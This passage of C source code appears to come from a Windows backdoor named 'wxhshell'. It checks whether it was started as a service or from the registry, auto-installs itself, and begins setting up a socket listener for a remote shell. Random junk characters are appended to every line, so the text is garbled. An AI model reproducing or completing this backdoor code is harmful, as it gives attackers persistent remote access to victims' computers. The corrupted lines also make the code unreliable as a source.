DWORD PebBaseAddress; yQ72v'
DWORD AffinityMask; q8&4=eV\A
DWORD BasePriority; H620vlC}V
ULONG UniqueProcessId; D/+@d:- G
ULONG InheritedFromUniqueProcessId; m-Mhf;
} PROCESS_BASIC_INFORMATION; PX+"" #
p\4h$."
PROCNTQSIP NtQueryInformationProcess; NZC<m$')
U"jUMOMZ;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <m|FccvQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; XRX7qo(0g
/v<e$0~s<
HANDLE hProcess; h8Dtq5t4
PROCESS_BASIC_INFORMATION pbi; ?h>(&HjWV
o(S^1j5
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B8P@D"u
if(NULL == hInst ) return 0; Dg ?Ho2ih
@U7U?.p
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +btP]?04
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *<#]&2I
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;h*"E(Pp
)o}=z\M-bN
if (!NtQueryInformationProcess) return 0; uC <|T
&q"uy:Rd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7KYF16A4
if(!hProcess) return 0; uWM4O@Qn)d
g[uE@Gaj&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x<)!$cg
)%-\hl]
CloseHandle(hProcess); 4cv|ok8P
^@l5u=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E!O(:/*
if(hProcess==NULL) return 0; kiBOyC!r6
r' 97\|
HMODULE hMod; r(`8A:#d
char procName[255]; jHUz`.8B
unsigned long cbNeeded; :Kt mSY
}J4BxBuV8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |iF1A
7ZR0M&pX
CloseHandle(hProcess); rK0|9^i{
J}93u(T5
if(strstr(procName,"services")) return 1; // 以服务启动 "1pZzad
'<U[;H9\
return 0; // 注册表启动 0(.R?1*:Rf
} 42H#n]Y
-qr:c9\px
// 主模块 'p{Y{
$Q
int StartWxhshell(LPSTR lpCmdLine) E!oJ0*@
{ C$EFh4
SOCKET wsl; QjT#GvHY
BOOL val=TRUE; Xl
'\krz
int port=0; iI/'!85
struct sockaddr_in door; r.W"@vc>
Jg?pW:}R
if(wscfg.ws_autoins) Install(); x Ps&CyI
! a8h
port=atoi(lpCmdLine); Av[|.~g
LOYyj?^7
if(port<=0) port=wscfg.ws_port; GO&R